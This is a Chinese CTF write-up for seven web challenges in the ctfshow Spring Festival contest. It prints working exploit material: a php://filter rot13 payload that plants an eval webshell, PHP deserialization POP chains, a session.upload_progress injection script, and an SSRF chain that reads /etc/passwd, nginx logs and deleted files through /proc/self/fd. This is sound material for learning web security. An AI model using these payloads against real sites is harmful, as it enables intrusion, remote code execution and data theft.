ctfshow新春欢乐赛
热身
直接给了shell,phpinfo找flag就行,去指定目录
web1
死亡exit绕过
<?php $content = $_POST['content']; file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
参考链接
https://xiaolong22333.top/archives/114/
解法
?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
web2
session_id是一个得到当前会话id的函数,并返回当前会话id,利用这个点
highlight_file(__FILE__); session_start(); error_reporting(0); include "flag.php"; if(count($_POST)===1){ extract($_POST); if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ echo $flag; } } ?>
解
session_id=session_id PHPSESSID=HappyNewYear
web3
highlight_file(__FILE__); error_reporting(0); include "flag.php"; $key= call_user_func(($_GET[1])); if($key=="HappyNewYear"){ echo $flag; } die("虎年大吉,新春快乐!");
弱类型比较
?1=session_start ?1=error_reporting ?1=json_last_error
web4
新函数的使用
?1=spl_autoload_extensions
默认文件后缀为inc
和php
,这里也是利用这个函数
然后访问/.inc,.php
web5
file_put_contents(),当没有文件名时,自动创建,当文件中有内容时,会自动覆盖原有的内容。 所以为了避免被覆盖,利用: 发送超长字符致使php内存溢出,发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,从而避免后面的内容覆盖 payload:POST大量的hu
溢出脚本
import requests url="http://ee7e1aa6-53c1-4113-bd07-7847fe95f9c3.challenge.ctf.show/" payload=524280*"hu" data={"🐯":payload} r=requests.post(url,data) print(r.text)
web6
这题确实有意思
提示
//出题人已经拿过flag,题目正常,也就是说...
那么就去读取日志文件
/var/log/nginx/access.log
这是个反序列化,方法是通过替换为空去减少字符
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
web7
源码
<?php include("class.php"); error_reporting(0); highlight_file(__FILE__); ini_set("session.serialize_handler", "php"); session_start(); if (isset($_GET['phpinfo'])) { phpinfo(); } if (isset($_GET['source'])) { highlight_file("class.php"); } $happy=new Happy(); $happy(); ?> <?php class Happy { public $happy; function __construct(){ $this->happy="Happy_New_Year!!!"; } function __destruct(){ $this->happy->happy; } public function __call($funName, $arguments){ die($this->happy->$funName); } public function __set($key,$value) { $this->happy->$key = $value; } public function __invoke() { echo $this->happy; } } class _New_{ public $daniu; public $robot; public $notrobot; private $_New_; function __construct(){ $this->daniu="I'm daniu."; $this->robot="I'm robot."; $this->notrobot="I'm not a robot."; } public function __call($funName, $arguments){ echo $this->daniu.$funName."not exists!!!"; } public function __invoke() { echo $this->daniu; $this->daniu=$this->robot; echo $this->daniu; } public function __toString() { $robot=$this->robot; $this->daniu->$robot=$this->notrobot; return (string)$this->daniu; } public function __get($key){ echo $this->daniu.$key."not exists!!!"; } } class Year{ public $zodiac; public function __invoke() { echo "happy ".$this->zodiac." year!"; } function __construct(){ $this->zodiac="Hu"; } public function __toString() { $this->show(); } public function __set($key,$value)#3 { $this->$key = $value; } public function show(){ die(file_get_contents($this->zodiac)); } public function __wakeup() { $this->zodiac = 'hu'; } } ?>
填写表单
<form action="http://1bd48b1f-459e-411c-adcf-81a7167b60d5.challenge.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
session.upload_progress.enabled为on,session.upload_progress.cleanup为off
所以,在index中没有可控的参数,我们就通过session.upload_progress,上传文件,来进行session反序列化。
这儿解释一下,session.upload_progress.enabled为on代表这,当我们从浏览器向服务器上传文件时,会将文件上传的详细信息(上传进度,上传内容等)存储在session中
通过反序列化制造文件读取
<?php class Happy { public $happy; } class _New_{ public $daniu; public $robot; public $notrobot; } class Year{ public $zodiac; } $a=new Happy();//创建Happy对象 $a->happy=new _New_();//当访问到Happy的destruct,就是new对象访问happy属性,触发new的get方法 $a->happy->daniu=new _New_();//把对象当作字符串,触发tostring方法 $a->happy->daniu->daniu=new Year();//$a->happy->daniu的daniu属性赋值 $a->happy->daniu->robot="zodiac";//给$zodiac赋值 $a->happy->daniu->notrobot="/etc/passwd"; //(string)转换,就是将对象当作字符串,触发year的tostring方法,然后到show方法。 echo serialize($a); ?>
先读取cmdline获取进程任务,/proc/114/cmdline有server.py服务,前去查看源码如下👇
from flask import * import os app = Flask(__name__) flag = open('/flag', 'r') # flag 我删了 os.remove('/flag') @app.route('/', methods=['GET', 'POST']) def index(): return "flag 我删了,你们别找了" @app.route('/download/', methods=['GET', 'POST']) def download_file(): return send_file(request.args['filename']) if __name__ == '__main__': app.run(host='127.0.0.1', port=5000, debug=False)
os.remove('/flag')
得知flag删除了,我们可以使用/proc/self/fd/{数字},来获取删除的内容。
看到/download/
中send_file
可以获取本地服务器的内容。
拿被人脚本改改
import requests import time def get_file(filename): data="""------WebKitFormBoundarytyYa582A3zCNLMeL Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 ------WebKitFormBoundarytyYa582A3zCNLMeL Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}\" Content-Type: text/plain ------WebKitFormBoundarytyYa582A3zCNLMeL--""" r=requests.post(url='http://c1ab4788-ad68-48a0-9fc7-ed6af105a677.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundarytyYa582A3zCNLMeL','Cookie': 'PHPSESSID=917571d70a5c49843a1625b52880d774'}) return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00 #for i in range(115): #print(i) #print(get_file('/proc/'+str(i)+'/cmdline')) #time.sleep(0.2) #print(get_file('/app/server.py')) for i in range(10): print(i) print(get_file('http://127.0.0.1:5000/download/?filename=/proc/self/fd/'+str(i))) time.sleep(0.2)
参考
https://blog.youkuaiyun.com/unexpectedthing/article/details/122840053
https://baozongwi.xyz/2025/01/19/ctfshow%E6%96%B0%E6%98%A5%E6%AC%A2%E4%B9%90%E8%B5%9B/
https://blog.youkuaiyun.com/qq_50589021/article/details/122881285